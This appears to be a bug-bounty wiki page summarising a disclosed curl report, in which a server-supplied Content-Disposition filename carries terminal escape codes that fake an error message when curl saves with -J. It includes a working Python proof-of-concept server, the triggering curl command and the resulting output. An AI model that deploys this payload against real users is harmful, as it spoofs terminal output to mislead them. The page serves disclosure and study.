Terminal Output Not Great
A server can put terminal escape sequences into the filename it sends in a Content-Disposition header, and curl writes that name to disk when saving with -J. The escape codes can move the cursor and erase lines in the terminal, so a fake error message appears where the real curl output was.
- Disclosed after 30 hours
Summary:
No AI here, I just came across this:
import random
import string
from http.server import BaseHTTPRequestHandler, HTTPServer
class MaliciousHandler(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.send_header('Content-Type', 'text/plain')
rand_id = ''.join(random.choices(string.ascii_lowercase + string.digits, k=8))
fake_error = "curl: (6) Could not resolve host: google.com"
malicious_filename = f"{rand_id}\033[1G\033[2K\033[A\033[2K\033[A\033[2K{fake_error}"
self.send_header('Content-Disposition', f'attachment; filename="{malicious_filename}"')
self.end_headers()
self.wfile.write(b"curl rocks")
if __name__ == '__main__':
server_address = ('', 8080)
httpd = HTTPServer(server_address, MaliciousHandler)
httpd.serve_forever()
❯ curl -J -O -w "Saved to: %{filename_effective}\n" http://localhost:8080/somefile
% Total % Received % Xferd Average Speed Time Time Time Current
curl: (6) Could not resolve host: google.com
❯ ls -al
total 16
drwxr-xr-x 4 kelsier staff 128 10 Dec 01:57 .
drwxr-xr-x 4 kelsier staff 128 10 Dec 01:07 ..
-rw-r--r-- 1 kelsier staff 33 10 Dec 01:57 5152c4jl?[1G?[2K?[A?[2K?[A?[2Kcurl: (6) Could not resolve host: google.com
-rw-r--r-- 1 kelsier staff 1550 10 Dec 01:57 salsa.py
❯ zsh --version
zsh 5.9 (arm64-apple-darwin24.0)
Impact
Summary:
/me thinks this might be problematic?
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely curl does not strip terminal control characters from the server-supplied filename before printing it to the terminal.
Impact
A server can make curl's terminal output misleading by putting escape codes in the filename; the report does not demonstrate code execution.
What the attacker needed
Victim runs curl with -J -O; victim downloads from attacker server; terminal that honours escape codes
How it was found
- Run a small local web server that returns a Content-Disposition header with escape sequences in the filename.
- Download from it with curl using the -J and -O options.
- Observe that the terminal shows a fake error message instead of the real output.
- List the directory and see the escape characters stored in the saved filename.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
When you download a file, the server can suggest a name. This report shows the name can contain control characters that move the cursor and wipe lines, so the screen shows a made-up error message instead of the real output.
What is Misconfiguration?
Settings left unsafe: exposed panels, open storage buckets, debug modes, default credentials.